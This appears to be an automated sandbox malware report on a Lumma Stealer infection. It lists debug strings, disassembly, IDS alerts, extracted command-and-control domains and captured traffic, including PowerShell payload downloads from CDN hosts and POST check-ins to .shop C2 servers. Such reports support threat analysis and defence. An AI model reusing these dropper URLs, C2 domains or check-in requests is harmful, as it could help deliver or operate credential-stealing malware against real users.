Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Set-up.exe, 00000006.00000002.1914733891.0000000003330000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1911297489.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132382359.0000000004681000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132675811.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284959319.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284757744.000000000459F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Qt\WebUI2\Release\WebUI.pdb source: Set-up.exe, 00000006.00000002.1933489810.000000006CC47000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: remotepg.pdbGCTL source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdbUGP source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Coolicons\net47\MahApps.Metro.IconPacks.Coolicons.pdb source: MahApps.Metro.IconPacks.Coolicons.dll.4.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.SimpleIcons\net47\MahApps.Metro.IconPacks.SimpleIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Metro\obj\Release\Xceed.Wpf.AvalonDock.Themes.Metro.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C568000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C5D8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.VaadinIcons\net47\MahApps.Metro.IconPacks.VaadinIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Core\obj\Release\Microsoft.WindowsAPICodePack.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdbXh source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: onDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdbX source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdbPxjx \x_CorDllMainmscoree.dll source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C296000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock\obj\Release\Xceed.Wpf.AvalonDock.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.BoxIcons\net47\MahApps.Metro.IconPacks.BoxIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C55E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdbUGP source: SearchIndexer.exe, 0000000C.00000003.2131896860.00000000008C2000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C296000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.WeatherIcons\net47\MahApps.Metro.IconPacks.WeatherIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdb source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: remotepg.pdb source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	12_2_0036B7D1
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	12_2_0036B954
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0033BEF0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0033BEF0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	12_2_0033DEE0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A8h]	12_2_00342020
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp eax, 03h	12_2_00335000
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then push dword ptr [esi]	12_2_0034E13A
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov edx, ecx	12_2_0034310A
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov edx, dword ptr [esp+5Ch]	12_2_00353177
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	12_2_003551B0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0034A190
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0033B1D0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	12_2_0033B1D0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov word ptr [eax], dx	12_2_00344274
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	12_2_0033F24D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	12_2_00351284
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	12_2_0033D2CC
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then movzx eax, word ptr [ebx]	12_2_0036E370
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], EEEB5415h	12_2_00369360
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov esi, ecx	12_2_0033F3F8
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00350480
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov dword ptr [edi], 00000000h	12_2_0033D51D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00351575
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000D8h]	12_2_00357560
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	12_2_0034164D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	12_2_003316E9
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_003456DF
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000A8h]	12_2_0034372D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	12_2_0034372D
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00351729
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov edi, ecx	12_2_0034386A
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	12_2_0036B891
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then jmp edx	12_2_0036C883
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	12_2_003608F0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	12_2_003678E0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp word ptr [ebp+ecx+00h], 0000h	12_2_0034C920
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	12_2_00354940
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00369940
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then jmp dword ptr [00373A6Ch]	12_2_00344A74
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+00h]	12_2_00334A70
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then jmp eax	12_2_00353A67
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov esi, dword ptr [ebp-00000094h]	12_2_00353ABB
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	12_2_00344A8C
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov dword ptr [esi+04h], ecx	12_2_00357AD0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ebp, eax	12_2_00337B60
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	12_2_0036BBD3
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esi+3Ch]	12_2_00358CB7
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp byte ptr [esi+ebp], 00000000h	12_2_00354CC0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 84AA3BD1h	12_2_0036DD70
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	12_2_0034ED8A
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	12_2_0034DE10
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esi+78h]	12_2_00357E61
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	12_2_00343E50
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then jmp eax	12_2_00341EA8
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esi+78h]	12_2_00357DD5
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	12_2_00333EE0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 4x nop then mov eax, dword ptr [esi+3Ch]	12_2_00358FE9

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2055742 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (bassicnuadnwi .shop) : 192.168.2.8:57060 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055475 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop) : 192.168.2.8:60285 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.8:51777 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.8:54990 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.8:49715 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2055743 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (bassicnuadnwi .shop in TLS SNI) : 192.168.2.8:49713 -> 172.67.200.243:443
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.8:49714 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49713 -> 172.67.200.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 172.67.200.243:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49714 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49715 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49715 -> 172.67.146.35:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bassicnuadnwi.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D0E5000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:SiiDte="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" elementFormDefault="qualified" attributeFormDefault="unqualified">

Source: global traffic

HTTP traffic detected: GET /peltgon.zip HTTP/1.1Host: tengkis.b-cdn.netConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 169.150.247.33 169.150.247.33
Source: Joe Sandbox View	IP Address: 172.67.146.35 172.67.146.35
Source: Joe Sandbox View	IP Address: 172.67.167.249 172.67.167.249

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown

DNS query: name: iplogger.co

Source: global traffic	HTTP traffic detected: GET /2h4Cg5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: iplogger.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /de7s.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tengkis-txt.b-cdn.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bassicnuadnwi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=6Ui2m.rLOeqtAJyhwISE_iYfaPgZXDdFMpeGQpDDX14-1725743784-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: condedqpwqm.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2h4Cg5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: iplogger.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /de7s.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tengkis-txt.b-cdn.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /peltgon.zip HTTP/1.1Host: tengkis.b-cdn.netConnection: Keep-Alive

Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (YouTube Studio, https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (YouTube Studio, https://www.youtube.com/E equals www.youtube.com (Youtube)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MYouTube, https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors equals www.youtube.com (Youtube)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MYouTube, https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: iplogger.co
Source: global traffic	DNS traffic detected: DNS query: tengkis-txt.b-cdn.net
Source: global traffic	DNS traffic detected: DNS query: tengkis.b-cdn.net
Source: global traffic	DNS traffic detected: DNS query: bassicnuadnwi.shop
Source: global traffic	DNS traffic detected: DNS query: locatedblsoqp.shop
Source: global traffic	DNS traffic detected: DNS query: traineiwnqo.shop
Source: global traffic	DNS traffic detected: DNS query: condedqpwqm.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bassicnuadnwi.shop

Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://blogs.skype.com/?attachment_id=56273
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://blogs.skype.com/?attachment_id=56273P
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://brand.wire.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/language/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/language/N
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/mathematica/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/mathematica/.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/wolfram-corporate/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://company.wolfram.com/press-center/wolfram-corporate/H
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
